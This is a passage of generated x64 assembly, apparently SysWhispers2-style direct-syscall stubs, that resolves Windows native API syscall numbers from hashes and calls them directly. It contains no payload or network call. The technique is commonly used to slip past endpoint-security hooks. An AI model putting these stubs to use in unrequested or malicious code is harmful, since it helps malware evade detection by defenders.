mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueueApcThreadEx ENDP
NtRaiseException PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07EE89971h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRaiseException ENDP
NtRaiseHardError PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 007881B3Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRaiseHardError ENDP
NtReadOnlyEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00ABDF2CEh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReadOnlyEnlistment ENDP
NtRecoverEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00B99021Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRecoverEnlistment ENDP
NtRecoverResourceManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0259DA88Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRecoverResourceManager ENDP
NtRecoverTransactionManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 035AD4F66h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRecoverTransactionManager ENDP
NtRegisterProtocolAddressInformation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01E804445h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRegisterProtocolAddressInformation ENDP
NtRegisterThreadTerminatePort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03CB0233Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRegisterThreadTerminatePort ENDP
NtReleaseKeyedEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 030932314h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReleaseKeyedEvent ENDP
NtReleaseWorkerFactoryWorker PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02665162Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReleaseWorkerFactoryWorker ENDP
NtRemoveIoCompletionEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 042611CA6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRemoveIoCompletionEx ENDP
NtRemoveProcessDebug PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D8AB3CE7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRemoveProcessDebug ENDP
NtRenameKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 079B92A64h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRenameKey ENDP
NtRenameTransactionManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 086AF9E01h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRenameTransactionManager ENDP
NtReplaceKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A7138AB8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReplaceKey ENDP
NtReplacePartitionUnit PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A82B90A8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReplacePartitionUnit ENDP
NtReplyWaitReplyPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 024B95B5Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReplyWaitReplyPort ENDP
NtRequestPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0ACBFB32Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRequestPort ENDP
NtResetEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08929ECF1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtResetEvent ENDP
NtResetWriteWatch PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 034A84E7Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtResetWriteWatch ENDP
NtRestoreKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00DAEF6DCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRestoreKey ENDP
NtResumeProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 075DA6C50h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtResumeProcess ENDP
NtRevertContainerImpersonation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08609E485h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRevertContainerImpersonation ENDP
NtRollbackComplete PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0CEB7D8C4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRollbackComplete ENDP
NtRollbackEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DFB9FE2Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRollbackEnlistment ENDP
NtRollbackRegistryTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 048960E47h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRollbackRegistryTransaction ENDP
NtRollbackTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03C6722F4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRollbackTransaction ENDP
NtRollforwardTransactionManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0852A9786h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRollforwardTransactionManager ENDP
NtSaveKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 069D984B3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSaveKey ENDP
NtSaveKeyEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0FD68ADB0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSaveKeyEx ENDP
NtSaveMergedKeys PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 026BC270Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSaveMergedKeys ENDP
NtSecureConnectPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D071C3FEh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSecureConnectPort ENDP
NtSerializeBoot PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D0403529h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSerializeBoot ENDP
NtSetBootEntryOrder PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D00E0A22h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetBootEntryOrder ENDP
NtSetBootOptions PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00799050Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetBootOptions ENDP
NtSetCachedSigningLevel PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A52BEDF7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetCachedSigningLevel ENDP
NtSetCachedSigningLevel2 PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0528E901Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetCachedSigningLevel2 ENDP
NtSetContextThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F0D72BE1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetContextThread ENDP
NtSetDebugFilterState PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0429C4C08h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetDebugFilterState ENDP
NtSetDefaultHardErrorPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05CE84D06h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetDefaultHardErrorPort ENDP
NtSetDefaultLocale PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A53B9BA1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetDefaultLocale ENDP
NtSetDefaultUILanguage PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EC4FEFF3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetDefaultUILanguage ENDP
NtSetDriverEntryOrder PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AE3C7B18h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetDriverEntryOrder ENDP
NtSetEaFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03EA0B08Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetEaFile ENDP
NtSetHighEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 043106E4Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetHighEventPair ENDP
NtSetHighWaitLowEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08212829Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetHighWaitLowEventPair ENDP
NtSetIRTimer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 001992B0Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetIRTimer ENDP
NtSetInformationDebugObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07C44F75Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationDebugObject ENDP
NtSetInformationEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 019800429h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationEnlistment ENDP
NtSetInformationJobObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03A8603CBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationJobObject ENDP
NtSetInformationKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0201E0583h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationKey ENDP
NtSetInformationResourceManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 013BEE53Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationResourceManager ENDP
NtSetInformationSymbolicLink PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07C2770B6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationSymbolicLink ENDP
NtSetInformationToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03B9E1106h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationToken ENDP
NtSetInformationTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0302876FDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationTransaction ENDP
NtSetInformationTransactionManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02FAFE7F6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationTransactionManager ENDP
NtSetInformationVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 087189D8Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationVirtualMemory ENDP
NtSetInformationWorkerFactory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07CEA6272h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationWorkerFactory ENDP
NtSetIntervalProfile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08399619Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetIntervalProfile ENDP
NtSetIoCompletion PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
